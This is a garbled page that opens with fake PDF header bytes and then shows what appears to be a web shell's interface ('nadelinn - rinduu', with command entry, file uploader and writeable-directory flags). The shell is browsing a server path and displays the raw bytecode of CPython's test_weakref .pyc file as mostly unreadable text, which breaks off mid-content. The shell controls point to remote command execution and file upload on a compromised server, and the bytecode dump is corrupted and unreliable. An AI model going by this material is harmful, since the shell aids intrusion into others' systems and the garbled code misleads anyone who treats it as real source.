%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_weakref.cpython-39.pyc
a

�_g�!�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZmZdadZGdd�d�ZGdd�d�Zd	d
�Zdd�ZGd
d�d�ZGdd�d�ZGdd�dej�Zejd*dd��ZGdd�de�ZGdd�de�ZGdd�dej�ZGdd�de�Zddlm Z Gdd �d e j!�Z"Gd!d"�d"e j!�Z#Gd#d$�d$ej�Z$d%Z%d&e%iZ&d'd(�Z'e(d)k�r�e'�dS)+�N)�support)�
script_helper�	ALWAYS_EQZfoobarc@seZdZdd�ZdS)�CcCsdS�N���selfrr�0/vddos/python/lib/python3.9/test/test_weakref.py�methodszC.methodN)�__name__�
__module__�__qualname__rrrrr
rsrc@seZdZdZdd�ZdS)�CallableNcCs
||_dSr��bar)r	�xrrr
�__call__szCallable.__call__)rr
rrrrrrr
rsrcCsdd�}|S)NcSsdSrrrrrr
�f$�zcreate_function.<locals>.fr�rrrr
�create_function#srcCst�jSr)rrrrrr
�create_bound_method'src@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�ObjectcCs
||_dSr��arg)r	rrrr
�__init__,szObject.__init__cCs
d|jS)Nz<Object %r>rrrrr
�__repr__.szObject.__repr__cCst|t�r|j|jkStSr��
isinstancerr�NotImplemented�r	�otherrrr
�__eq__0s
z
Object.__eq__cCst|t�r|j|jkStSrrr!rrr
�__lt__4s
z
Object.__lt__cCs
t|j�Sr)�hashrrrrr
�__hash__8szObject.__hash__cCsdS)N�rrrrr
�some_method:szObject.some_methodcCsdS)N�rrrrr
�other_method<szObject.other_methodN)
rr
rrrr#r$r&r(r*rrrr
r+src@seZdZdd�ZdS)�RefCyclecCs
||_dSr)�cyclerrrr
rAszRefCycle.__init__N�rr
rrrrrr
r+@sr+c@seZdZdd�Zdd�ZdS)�TestBasecCs
d|_dS�Nr��cbcalledrrrr
�setUpGszTestBase.setUpcCs|jd7_dS�N�r0)r	�refrrr
�callbackJszTestBase.callbackN)rr
rr2r6rrrr
r.Esr.�-C��6?c	#sxd���fdd�}t���Jtj|d�}|��zdVWd�|��nd�|��0Wd�n1sj0YdS)zR
    Ensure GC collections happen in a different thread, at a high frequency.
    Fcs�st���t��qdSr)�time�sleep�gc�collectr��periodZplease_stoprr
r;Us
z"collect_in_thread.<locals>.collect)�targetNT)rZ
disable_gc�	threading�Thread�start�join)r=r;�trr<r
�collect_in_threadNs

�rDc@s�eZdZdd�Zdd�Zejdd��Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Z d9d:�Z!d;d<�Z"d=d>�Z#d?d@�Z$dAdB�Z%dCdD�Z&dEdF�Z'dGdH�Z(dIdJ�Z)dKdL�Z*dMdN�Z+dOdP�Z,dQdR�Z-dSdT�Z.dUdV�Z/dWdX�Z0dYdZ�Z1d[d\�Z2d]d^�Z3d_d`�Z4dadb�Z5dcdd�Z6dedf�Z7dgS)h�ReferencesTestCasecCsD|�t�|�t�|�t�t�}t�|�}t|�~t|�dSr)�check_basic_refrrr�weakrefr5�repr)r	�o�wrrrr
�test_basic_reffs



z!ReferencesTestCase.test_basic_refcCs"|�t�|�t�|�t�dSr)�check_basic_callbackrrrrrrr
�test_basic_callbackts

z&ReferencesTestCase.test_basic_callbackcCsRddl}|j}|�}t�|�}|�|�|�~|�|��|�|�|�|�dSr/)�	_testcapi�create_cfunctionrGr5�assertIs�assertIsNonerFrL)r	rNrOrrJrrr
�test_cfunctionys

z!ReferencesTestCase.test_cfunctioncCsTt�}t�||j�}t�||j�}~|�|�d�|�|�d�|�|jdd�dS)Nz$expected reference to be invalidated�z-callback not called the right number of times)rrGr5r6rQ�assertEqualr1�r	rI�ref1�ref2rrr
�test_multiple_callbacks�s
�z*ReferencesTestCase.test_multiple_callbackscCs2|fdd�}t�}t�||�|_t�||�}~dS)NcSs|��dSr�r5)�objectr	rrr
r6�szDReferencesTestCase.test_multiple_selfref_callbacks.<locals>.callback)rrGr5)r	r6�crVrrr
�test_multiple_selfref_callbacks�s
z2ReferencesTestCase.test_multiple_selfref_callbackscCst�}|jttj|dd�dS)N)r6)r�assertRaises�	TypeErrorrGr5)r	r[rrr
�test_constructor_kwargs�sz*ReferencesTestCase.test_constructor_kwargscCsvt�}d|_t�||j�}t�||j�}~dd�}|�t||�|�t||�|�ttt�t���|�|j	d�dS)Nr4cSs
|jdSrr)�proxyrrr
�check�sz0ReferencesTestCase.test_proxy_ref.<locals>.checkrS)
rrrGr`r6r]�ReferenceError�boolrTr1)r	rIrVrWrarrr
�test_proxy_ref�sz!ReferencesTestCase.test_proxy_refcCs6|�}t�|�}|�|�d�|�}|�||d�dS)Nz,weak reference to live object should be livez-<ref>() should return original object if live)rGr5�assertIsNotNonerP)r	�factoryrIr5�o2rrr
rF�s
��z"ReferencesTestCase.check_basic_refcCs>d|_|�}t�||j�}~|�|jdd�|�|�d�dS)Nrr4z(callback did not properly set 'cbcalled'z3ref2 should be dead after deleting object reference)r1rGr5r6rTrQ)r	rfrIr5rrr
rL�s
��z'ReferencesTestCase.check_basic_callbackcCs�t�}t�|�}t�|�}t�|�}|�||d�t�}t�|�}t�|�}t�|�}|�||d�|�t�|�dd�~|�t�|�dd�dS)Nz1reference object w/out callback should be re-usedrSzwrong weak ref count for objectr4z4wrong weak ref count for object after deleting proxy)rrGr5r`rPrT�getweakrefcount)r	rIrVr`rWrrr
�test_ref_reuse�s*


�


���z!ReferencesTestCase.test_ref_reusecCs6t�}t�|�}t�|�}t�|�}|�||d�dS)Nz4proxy object w/out callback should have been re-used)rrGr`r5rP)r	rI�proxy1r5�proxy2rrr
�test_proxy_reuse�s


�z#ReferencesTestCase.test_proxy_reusecCsnt�}|�|t�|��t��}t�|�}|�|d�|�d�|�t	|�d�|�
|d�ddg|dd�<|�t	|�d�|�t	|�d�|�d|d�d|d<|�|dd�|�|dd�t�|�}t�|�}|�||�t�td	��}t�|�}|�|dd�|dd��|�|dd�|dd��|�|dd�|dd��|�|dd�|dd��dS)
Nz(proxy for empty UserList should be false�r4z+proxy for non-empty UserList should be truerS�z,proxy didn't support __contains__() properlyr)�
)
r�check_proxyrGr`�collections�UserList�assertFalse�appendrT�len�
assertTrue�assertIn�range)r	rI�L�pZL2�p2ZL3Zp3rrr
�test_basic_proxy�s0




z#ReferencesTestCase.test_basic_proxycCsFGdd�dt�}|�}|�dtt�|���|�tt�|��d�dS)Nc@seZdZdd�Zdd�ZdS)z0ReferencesTestCase.test_proxy_unicode.<locals>.CcSsdS)N�stringrrrrr
�__str__sz8ReferencesTestCase.test_proxy_unicode.<locals>.C.__str__cSsdS)N�bytesrrrrr
�	__bytes__sz:ReferencesTestCase.test_proxy_unicode.<locals>.C.__bytes__N)rr
rr~r�rrrr
rsrr�r)rZrw�dirrGr`rT�bytes)r	r�instancerrr
�test_proxy_unicodesz%ReferencesTestCase.test_proxy_unicodecCs4Gdd�d�}|�}t�|�}|�t�|�d�dS)Nc@seZdZdd�ZdS)z.ReferencesTestCase.test_proxy_index.<locals>.CcSsdS)Nrorrrrr
�	__index__sz8ReferencesTestCase.test_proxy_index.<locals>.C.__index__N)rr
rr�rrrr
r
srro)rGr`rT�operator�index�r	rrIrzrrr
�test_proxy_indexs
z#ReferencesTestCase.test_proxy_indexcCsFGdd�d�}|�}t�|�}|�|dd�|d}|�|d�dS)Nc@seZdZdd�Zdd�ZdS)z,ReferencesTestCase.test_proxy_div.<locals>.CcSsdS�N�*rr!rrr
�__floordiv__sz9ReferencesTestCase.test_proxy_div.<locals>.C.__floordiv__cSsdS)N�rr!rrr
�
__ifloordiv__sz:ReferencesTestCase.test_proxy_div.<locals>.C.__ifloordiv__N)rr
rr�r�rrrr
rsrr)r�r��rGr`rTr�rrr
�test_proxy_divs
z!ReferencesTestCase.test_proxy_divcCsVGdd�d�}|�}t�|�}|�|dd�|�d|d�|d}|�|d�dS)Nc@s$eZdZdd�Zdd�Zdd�ZdS)z/ReferencesTestCase.test_proxy_matmul.<locals>.CcSsdS)N�rr!rrr
�
__matmul__"sz:ReferencesTestCase.test_proxy_matmul.<locals>.C.__matmul__cSsdS)N�]���rr!rrr
�__rmatmul__$sz;ReferencesTestCase.test_proxy_matmul.<locals>.C.__rmatmul__cSsdS)N�1rr!rrr
�__imatmul__&sz;ReferencesTestCase.test_proxy_matmul.<locals>.C.__imatmul__N)rr
rr�r�r�rrrr
r!srr)r�r�r�r�r�rrr
�test_proxy_matmul s
z$ReferencesTestCase.test_proxy_matmulcCs|�tj�dSr)�check_shared_without_callbackrGr5rrrr
� test_shared_ref_without_callback7sz3ReferencesTestCase.test_shared_ref_without_callbackcCs|�tj�dSr)r�rGr`rrrr
�"test_shared_proxy_without_callback:sz5ReferencesTestCase.test_shared_proxy_without_callbackcCs�td�}||d�}||d�}|�||d�~~||�}||d�}|�||d�~~||�}||�}|�||d�~~||d�}||�}|�||d�dS)Nr4z%both callbacks were None in the C APIz&callbacks were NULL, None in the C APIz%both callbacks were NULL in the C APIz&callbacks were None, NULL in the C API)rrP)r	�makerefrIZp1r{rrr
r�=s 



z0ReferencesTestCase.check_shared_without_callbackcCs�t�}t�|�}|�||�|�t|�tjd�|d�|�|jdd�|dd�|�|jdd�|�	t
|�|�	t
|ddd�dS)	Nzproxy is not of callable typez	twinkies!z1call through proxy not passed through to originalzSplat.)rr4rSrn)rrGr`rprP�type�CallableProxyTyperTrr]r^)r	rIrVrrr
�test_callable_proxyOs 
�
�

�z&ReferencesTestCase.test_callable_proxycCs�d|_|�|jdd�d|_|�|jdd�|`|�t|d�d�d|_|�|jdd�d|_|�|jdd�|`|�t|d�d	�dS)
Nr4z)proxy does not reflect attribute additionrSz-proxy does not reflect attribute modification�fooz(proxy does not reflect attribute removalz4object does not reflect attribute addition via proxyz8object does not reflect attribute modification via proxyz3object does not reflect attribute removal via proxy)r�rTrs�hasattr)r	rIr`rrr
rpds0
�
��
�
��zReferencesTestCase.check_proxycCs6Gdd�d�}|�}t�|�}|d=|�|jd�dS)Nc@seZdZdZdd�ZdS)z3ReferencesTestCase.test_proxy_deletion.<locals>.FooNcSs
||_dSr)�result)r	�accessorrrr
�__delitem__}sz?ReferencesTestCase.test_proxy_deletion.<locals>.Foo.__delitem__)rr
rr�r�rrrr
�Foo{sr�r)rGr`rTr�)r	r��grrrr
�test_proxy_deletionys

z&ReferencesTestCase.test_proxy_deletioncCs4Gdd�dt�}|�}|�tt�|��t|��dS)Nc@seZdZdS)z0ReferencesTestCase.test_proxy_bool.<locals>.ListN�rr
rrrrr
�List�rr�)�listrTrcrGr`)r	r�Zlystrrr
�test_proxy_bool�sz"ReferencesTestCase.test_proxy_boolcs\d�G�fdd�d�}|��t���}|�t��d|vWd�n1sN0YdS)NcseZdZ�fdd�ZdS)z1ReferencesTestCase.test_proxy_iter.<locals>.MyObjcs�tSr)r r��objrr
�__iter__�sz:ReferencesTestCase.test_proxy_iter.<locals>.MyObj.__iter__N)rr
rr�rr�rr
�MyObj�sr�Zblech)rGr`r]r^)r	r�rzrr�r
�test_proxy_iter�s
z"ReferencesTestCase.test_proxy_itercCs4Gdd�d�}|�}|�d�tt�|���d�dS)Nc@seZdZdd�Zdd�ZdS)z5ReferencesTestCase.test_proxy_reversed.<locals>.MyObjcSsdS)Nrnrrrrr
�__len__�sz=ReferencesTestCase.test_proxy_reversed.<locals>.MyObj.__len__cSstd�S)N�cba)�iterrrrr
�__reversed__�szBReferencesTestCase.test_proxy_reversed.<locals>.MyObj.__reversed__N)rr
rr�r�rrrr
r��sr��r�)rTrB�reversedrGr`�r	r�r�rrr
�test_proxy_reversed�sz&ReferencesTestCase.test_proxy_reversedcs6d�G�fdd�d�}|�}|�tt�|����dS)NiJx�cseZdZ�fdd�ZdS)z1ReferencesTestCase.test_proxy_hash.<locals>.MyObjcs�Srrr�Z	cool_hashrr
r&�sz:ReferencesTestCase.test_proxy_hash.<locals>.MyObj.__hash__N)rr
rr&rr�rr
r��sr�)rTr%rGr`r�rr�r
�test_proxy_hash�sz"ReferencesTestCase.test_proxy_hashcCs�t�}t�|�}t�||j�}|�t�|�dd�t�|�}t�||j�}|�t�|�dd�~~~~|�t�|�dd�|�t�d�dd�dS)NrSz*got wrong number of weak reference objectsr'rzAweak reference objects not unlinked from referent when discarded.r4z2got wrong number of weak reference objects for int)rrGr5r6rTrhr`)r	rIrVrWrjrkrrr
�test_getweakrefcount�s$
�
���z'ReferencesTestCase.test_getweakrefcountcCs�t�}t�||j�}t�||j�}~|�t�|�|gd�t�}t�||j�}t�||j�}~|�t�|�|gd�~|�t�|�gd�|�t�d�gd�dS)Nzlist of refs does not matchzlist of refs not clearedr4z#list of refs does not match for int)rrGr5r6rT�getweakrefsrUrrr
�test_getweakrefs�s*����z#ReferencesTestCase.test_getweakrefscCsFGdd�dt�}|d�}t�|�}|�|dd�|�d|d�dS)Nc@seZdZdS)z6ReferencesTestCase.test_newstyle_number_ops.<locals>.FNr�rrrr
�F�sr�g@g�?g@)�floatrGr`rT)r	r�rrzrrr
�test_newstyle_number_ops�s

z+ReferencesTestCase.test_newstyle_number_opscs�Gdd�dt��i��fdd�����fdd�}z
|�Wn�yLYn0|�d�z
|�Wn�ytYn0|�d�dS)Nc@seZdZdS)z?ReferencesTestCase.test_callbacks_protected.<locals>.BogusErrorNr�rrrr
�
BogusError�sr�cs
�|=dSrr��k)�datarr
�remove�sz;ReferencesTestCase.test_callbacks_protected.<locals>.removecs dd�}d�t�|��<��dS)NcSsdS)Nrrrrrr
�<lambda>�rzRReferencesTestCase.test_callbacks_protected.<locals>.encapsulate.<locals>.<lambda>)rGr5r�r�r�r�rr
�encapsulate�sz@ReferencesTestCase.test_callbacks_protected.<locals>.encapsulatezexception not properly restored)�	ExceptionZfail)r	r�rr�r
�test_callbacks_protected�s


z+ReferencesTestCase.test_callbacks_protectedcsnddl�Gdd�dt�}|�}t�|�fdd��}~~|�}|�|_t�|j�fdd��}|�}||_~~dS)Nrc@seZdZdS)z0ReferencesTestCase.test_sf_bug_840829.<locals>.CNr�rrrr
rsrcs���Sr�r;��ignore�r:rr
r�rz7ReferencesTestCase.test_sf_bug_840829.<locals>.<lambda>cs���Srr�r�r�rr
r�r)r:rZrGr5�i�c1)r	rr[rJr��c2rr�r
�test_sf_bug_840829�s	z%ReferencesTestCase.test_sf_bug_840829cCsVddl}Gdd�dt�}Gdd�dt�}|�}||_t�||j�|_~~~|��dS)Nrc@seZdZdS)z6ReferencesTestCase.test_callback_in_cycle_1.<locals>.JNr�rrrr
�J*sr�c@seZdZdd�ZdS)z7ReferencesTestCase.test_callback_in_cycle_1.<locals>.IIcSs
|jdSr�r��r	r�rrr
�	acallback.szAReferencesTestCase.test_callback_in_cycle_1.<locals>.II.acallbackN�rr
rr�rrrr
�II-sr��r:rZr�rGr5r�rJr;�r	r:r�r��Irrr
�test_callback_in_cycle_1'sz+ReferencesTestCase.test_callback_in_cycle_1cCsTddl}Gdd�dt�}Gdd�d�}|�}||_t�||j�|_~~~|��dS)Nrc@seZdZdS)z6ReferencesTestCase.test_callback_in_cycle_2.<locals>.JNr�rrrr
r�^sr�c@seZdZdd�ZdS)z7ReferencesTestCase.test_callback_in_cycle_2.<locals>.IIcSs
|jdSrr�r�rrr
r�bszAReferencesTestCase.test_callback_in_cycle_2.<locals>.II.acallbackNr�rrrr
r�asr�r�r�rrr
�test_callback_in_cycle_2Osz+ReferencesTestCase.test_callback_in_cycle_2cCsPddl}Gdd�d�}|�|�}}||_||_t�||j�|_~~|��dS)Nrc@seZdZdd�ZdS)z6ReferencesTestCase.test_callback_in_cycle_3.<locals>.CcSs|j|j|jdSr��mer�rJr�rrr
�cbvsz9ReferencesTestCase.test_callback_in_cycle_3.<locals>.C.cbN�rr
rr�rrrr
rusr)r:r�r�rGr5r�rJr;)r	r:rr�r�rrr
�test_callback_in_cycle_3lsz+ReferencesTestCase.test_callback_in_cycle_3cCsdddl}Gdd�dt�}Gdd�d�}|�|�}}||_||_t�||j�|_~~~~|��dS)Nrc@seZdZdd�ZdS)z6ReferencesTestCase.test_callback_in_cycle_4.<locals>.CcSs|j|j|jdSrr�r�rrr
r��sz9ReferencesTestCase.test_callback_in_cycle_4.<locals>.C.cbNr�rrrr
r�src@seZdZdS)z6ReferencesTestCase.test_callback_in_cycle_4.<locals>.DNr�rrrr
�D�sr�)	r:rZr�r�rGr5r�rJr;)r	r:rr�r�r�rrr
�test_callback_in_cycle_4�s	z+ReferencesTestCase.test_callback_in_cycle_4cs�ddl}g�G�fdd�dt�}|d�|d�}}||_||_t�||j�|_t�||j�|_�fdd�}t�||�}~~~|��g�|��|��dg�|�|�d��dd�=|��|��g�dS)	Nrcs eZdZdd�Z�fdd�ZdS)zAReferencesTestCase.test_callback_in_cycle_resurrection.<locals>.CcSs
||_dSr)Z	attribute)r	�valuerrr
r�szJReferencesTestCase.test_callback_in_cycle_resurrection.<locals>.C.__init__cs��|j�dSr)rtr[r��Zalistrr
r��szKReferencesTestCase.test_callback_in_cycle_resurrection.<locals>.C.acallbackN)rr
rrr�rr�rr
r�srr4rScs��d�dS)N�C went away�rtr�r�rr
�C_went_away�szKReferencesTestCase.test_callback_in_cycle_resurrection.<locals>.C_went_awayr�)	r:rZr[rGr5r�rJrTr;)r	r:rr�r�r�rJrr�r
�#test_callback_in_cycle_resurrection�s$
z6ReferencesTestCase.test_callback_in_cycle_resurrectioncs�ddl}g��fdd�}G�fdd�dt�}|�|�}}||_||_|j}t�||�|_t�||j�|_t�||�}|�|�|�~~~~|��g�|�	�|��dg�|�|�d��dd�=|�	�|��g�dS)Nrcs��d�dS)N�safe_callback calledr�r�r�rr
�
safe_callback�szDReferencesTestCase.test_callbacks_on_callback.<locals>.safe_callbackcseZdZ�fdd�ZdS)z8ReferencesTestCase.test_callbacks_on_callback.<locals>.Ccs��d�dS)Nz	cb calledr�r�r�rr
r��sz;ReferencesTestCase.test_callbacks_on_callback.<locals>.C.cbNr�rr�rr
r�srr�)
r:rZr"r�rGr5rJrPrTr;)r	r:r�rr[�dr6Zexternal_wrrr�r
�test_callbacks_on_callback�s(	
z-ReferencesTestCase.test_callbacks_on_callbackcCs|�tj�dSr)�check_gc_during_creationrGr5rrrr
�test_gc_during_ref_creation�sz.ReferencesTestCase.test_gc_during_ref_creationcCs|�tj�dSr)r�rGr`rrrr
�test_gc_during_proxy_creation�sz0ReferencesTestCase.test_gc_during_proxy_creationcCs�t��}t�ddd�t��Gdd�d�}dd�}|�}|�}||_||�|_z |�}t�||�Wtj|�ntj|�0dS)Nr4c@seZdZdS)z6ReferencesTestCase.check_gc_during_creation.<locals>.ANr�rrrr
�A�sr�cWsdSrr)�argsrrr
r6sz=ReferencesTestCase.check_gc_during_creation.<locals>.callback)r:�
get_threshold�
set_thresholdr;�arJrGr5)r	r�Z
thresholdsr�r6Z
referencedr�rrr
r��s
z+ReferencesTestCase.check_gc_during_creationcCsGdd�dt�}|�}dS)Nc@seZdZdd�ZdS)z>ReferencesTestCase.test_ref_created_during_del.<locals>.TargetcSst�|�adSr)rGr5�ref_from_delrrrr
�__del__szFReferencesTestCase.test_ref_created_during_del.<locals>.Target.__del__N�rr
rr�rrrr
�Targetsr�)rZ)r	r��wrrr
�test_ref_created_during_delsz.ReferencesTestCase.test_ref_created_during_delc	Cs.t�t�}|�t|jddddd�t��dSr/)rGr5r�r]r^rr:r;)r	�rrrr
�	test_inits
zReferencesTestCase.test_initcCsXGdd�dt�}g}t�t�t�||j�}d}t��|�|�d�|�||g�dS)Nc@seZdZdS)z*ReferencesTestCase.test_classes.<locals>.ANr�rrrr
r�)sr�)rZrGr5�intrtr:r;rT)r	r��lr�rrr
�test_classes's
zReferencesTestCase.test_classesc	Cs\td�}td�}td�}t�|�}t�|�}t�|�}t�|�}|�||k�|�||k�|�||k�|�||k�|�||k�|�||k�|�||k�|�||k�|�|tk�|�|tk�~~~t��|||fD]}|�|�d�q�|�||k�|�||k�|�||k�|�||k�|�	||k||u�|�	||k||u�dS)Nr4rS)
rrGr5rvrsrr:r;rPrT)	r	r�y�zr��br[r�r�rrr
�
test_equality3s6



z ReferencesTestCase.test_equalitycCs|tjtjtjtjg}td�}td�}t�|�}t�|�}|D]}|�t	|||�q<~~t
��|D]}|�t	|||�qbdSr3)r��lt�gt�le�gerrGr5r]r^r:r;)r	�opsrrr�r�oprrr
�
test_orderingXs

z ReferencesTestCase.test_orderingcCsjtd�}td�}t�|�}t�|�}|�t|�td��~~t��|�t|�td��|�tt|�dSr�)	rrGr5rTr%r:r;r]r^)r	rrr�rrrr
�test_hashinggs

zReferencesTestCase.test_hashingcCsNGdd�d�}t��}|d�}}td�D]}||�||<}q*~t��dS)Nc@seZdZdd�ZdS)z1ReferencesTestCase.test_trashcan_16602.<locals>.Ccs0|sdSt�|���fdd�}t�||�|_dS)Ncs
��}dSrr)�wparentrI�Zwselfrr
r��szFReferencesTestCase.test_trashcan_16602.<locals>.C.__init__.<locals>.cb)rGr5r
)r	�parentr�rrr
r|s

z:ReferencesTestCase.test_trashcan_16602.<locals>.C.__init__Nr-rrrr
r{sr�d)rG�WeakKeyDictionaryrxr:r;)r	rr��rootr[�nrrr
�test_trashcan_16602vs	z&ReferencesTestCase.test_trashcan_16602cCsDtd�}dd�}t�||�}|�|j|�t�|�}|�|j�dS)Nr4cSsdSrrrYrrr
r��rz<ReferencesTestCase.test_callback_attribute.<locals>.<lambda>)rrGr5rP�__callback__rQ)r	rr6rVrWrrr
�test_callback_attribute�s
z*ReferencesTestCase.test_callback_attributecCs<td�}t�||j�}|�|j�~t��|�|j�dSr3)	rrGr5r6rerr�
gc_collectrQ)r	rr5rrr
�&test_callback_attribute_after_deletion�sz9ReferencesTestCase.test_callback_attribute_after_deletioncCsTtd�}dd�}t�||�}|�t��dd�|_Wd�n1sF0YdS)Nr4cSsdSrrrYrrr
r��rz@ReferencesTestCase.test_set_callback_attribute.<locals>.<lambda>cSsdSrrrYrrr
r��r)rrGr5r]�AttributeErrorr)r	rr6rVrrr
�test_set_callback_attribute�s
z.ReferencesTestCase.test_set_callback_attributecCs6Gdd�dt�}|d�}t�|dd��}~t��dS)Nc@seZdZdd�ZdS)z;ReferencesTestCase.test_callback_gcs.<locals>.ObjectWithDelcSsdSrrrrrr
r��rzCReferencesTestCase.test_callback_gcs.<locals>.ObjectWithDel.__del__Nr�rrrr
�
ObjectWithDel�srr4cSst��Sr)rrrYrrr
r��rz6ReferencesTestCase.test_callback_gcs.<locals>.<lambda>)rrGr5rr)r	rrrVrrr
�test_callback_gcs�s
z$ReferencesTestCase.test_callback_gcsN)8rr
rrKrMr�cpython_onlyrRrXr\r_rdrFrLrirlr|r�r�r�r�r�r�r�r�rpr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrrrrr
rEdsh

	


((.&%	rEc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�SubclassableWeakrefTestCasecCslGdd�dtj�}td�}||dd�}|�|�|�|�|j�|�|jd�~|�|��|�|j�dS)Ncs*eZdZd�fdd�	Z�fdd�Z�ZS)z=SubclassableWeakrefTestCase.test_subclass_refs.<locals>.MyRefNr�cs||_t��||�dSr)r��superr)r	�obr6r���	__class__rr
r�szFSubclassableWeakrefTestCase.test_subclass_refs.<locals>.MyRef.__init__csd|_t���S�NT)�calledrrrr!rr
r�szFSubclassableWeakrefTestCase.test_subclass_refs.<locals>.MyRef.__call__)Nr�)rr
rrr�
__classcell__rrr!r
�MyRef�sr&r���r�)	rGr5rrPrvr$rTr�rQ)r	r&rI�mrrrr
�test_subclass_refs�sz.SubclassableWeakrefTestCase.test_subclass_refscCs�Gdd�dtj�}td�}||�}t�|�}|�||�|�t�|�||g�|�t�|�d�||�}|�t�|�d�t�|�}|�t|�d�|�||d�|�	||dd��|�	||dd��dS)Nc@seZdZdS)zXSubclassableWeakrefTestCase.test_subclass_refs_dont_replace_standard_refs.<locals>.MyRefNr�rrrr
r&�sr&r�rSrnrr4)
rGr5r�assertIsNotrTr�rhrurPrw)r	r&rI�r1�r2Zr3�refsrrr
�-test_subclass_refs_dont_replace_standard_refs�s

zISubclassableWeakrefTestCase.test_subclass_refs_dont_replace_standard_refscCs`Gdd�dtj�}td�}||t�}||t�}|�||�t�|�}|�||�|�||�dS)Nc@seZdZdS)zUSubclassableWeakrefTestCase.test_subclass_refs_dont_conflate_callbacks.<locals>.MyRefNr�rrrr
r&�sr&r�)rGr5r�id�strr+r�rw)r	r&rIr,r-r.rrr
�*test_subclass_refs_dont_conflate_callbacks�s


zFSubclassableWeakrefTestCase.test_subclass_refs_dont_conflate_callbackscCshGdd�dtj�}td�}||ddd�}|�|jd�|�|jd�|�|��d�|�t|d��dS)Nc@s(eZdZdZdd�Zdd�Zdd�ZdS)	zHSubclassableWeakrefTestCase.test_subclass_refs_with_slots.<locals>.MyRef��slot1�slot2cSstj�|||�Sr)rGr5�__new__)r�r r6r4r5rrr
r6�szPSubclassableWeakrefTestCase.test_subclass_refs_with_slots.<locals>.MyRef.__new__cSs||_||_dSrr3)r	r r6r4r5rrr
r�szQSubclassableWeakrefTestCase.test_subclass_refs_with_slots.<locals>.MyRef.__init__cSs|j|jSrr3rrrr
�meth�szMSubclassableWeakrefTestCase.test_subclass_refs_with_slots.<locals>.MyRef.methN)rr
r�	__slots__r6rr7rrrr
r&�sr&r��abc�defZabcdef�__dict__)	rGr5rrTr4r5r7rsr�)r	r&rIr�rrr
�test_subclass_refs_with_slots�s	z9SubclassableWeakrefTestCase.test_subclass_refs_with_slotscs�Gdd�dtj�}�fdd�}t�}|||�}||_~~���jd�t�}|||�}|||�}||_||_~~~���jd�dS)z3Confirm https://bugs.python.org/issue3100 is fixed.c@seZdZdS)zHSubclassableWeakrefTestCase.test_subclass_refs_with_cycle.<locals>.MyRefNr�rrrr
r&�sr&cs�jd7_dSr3r0)r�rrr
r6�szKSubclassableWeakrefTestCase.test_subclass_refs_with_cycle.<locals>.callbackrN)rGr5rrIrTr1r�)r	r&r6rIr,r-rrr
�test_subclass_refs_with_cycle�s"


z9SubclassableWeakrefTestCase.test_subclass_refs_with_cycleN)rr
rr*r/r2r<r=rrrr
r�s
rc@sZeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Ze	j
d
d��Zdd�Zdd�Z
dS)�WeakMethodTestCasecCsGdd�dt�}|S)z3Return an Object subclass overriding `some_method`.c@seZdZdd�ZdS)z'WeakMethodTestCase._subclass.<locals>.CcSsdS)N�rrrrr
r(sz3WeakMethodTestCase._subclass.<locals>.C.some_methodN)rr
rr(rrrr
rsr)r)r	rrrr
�	_subclassszWeakMethodTestCase._subclasscCsntd�}t�|j�}|�|tj�|�|�t|j��|�|�j|�|�|�j	|jj	�|�
|��d�dS)Nr4r')rrG�
WeakMethodr(ZassertIsInstance�
ReferenceTyper�rP�__self__�__func__rT�r	rIr�rrr
�
test_aliveszWeakMethodTestCase.test_alivecCs0td�}t�|j�}~t��|�|�d�dSr3)rrGrAr(r:r;rPrErrr
�test_object_dead%s
z#WeakMethodTestCase.test_object_deadcCs:|��}|d�}t�|j�}|`t��|�|�d�dSr3)r@rGrAr(r:r;rP)r	rrIr�rrr
�test_method_dead,sz#WeakMethodTestCase.test_method_deadcsh|��}g��fdd�}|d�}t�|j|�}~t��|��|g�tj|_t��|��|g�dS)Ncs��|�dSrr�r�Zcallsrr
r�8sz=WeakMethodTestCase.test_callback_when_object_dead.<locals>.cbr4)r@rGrAr(r:r;rTr�r	rr�rIr�rrIr
�test_callback_when_object_dead4sz1WeakMethodTestCase.test_callback_when_object_deadcsd|��}g��fdd�}|d�}t�|j|�}|`t��|��|g�~t��|��|g�dS)Ncs��|�dSrr�rrIrr
r�Hsz=WeakMethodTestCase.test_callback_when_method_dead.<locals>.cbr4)r@rGrAr(r:r;rTrJrrIr
�test_callback_when_method_deadDsz1WeakMethodTestCase.test_callback_when_method_deadcCs<td�}dd�}t�|j|�}t�|�}~|�|�d�dS)Nr4cSsdSrr)�_rrr
r�Xsz-WeakMethodTestCase.test_no_cycles.<locals>.cb)rrGrAr(r5rP)r	rIr�r�rJrrr
�test_no_cyclesTs
z!WeakMethodTestCase.test_no_cyclescsT�fdd�}�fdd�}td�}td�}t�|j�}t�|j�}t�|j�}t�|j�}|||�|||�|||�|||�|||�|||�td�}	t�|	j�}
t�|	j�}|||
�|||�|||
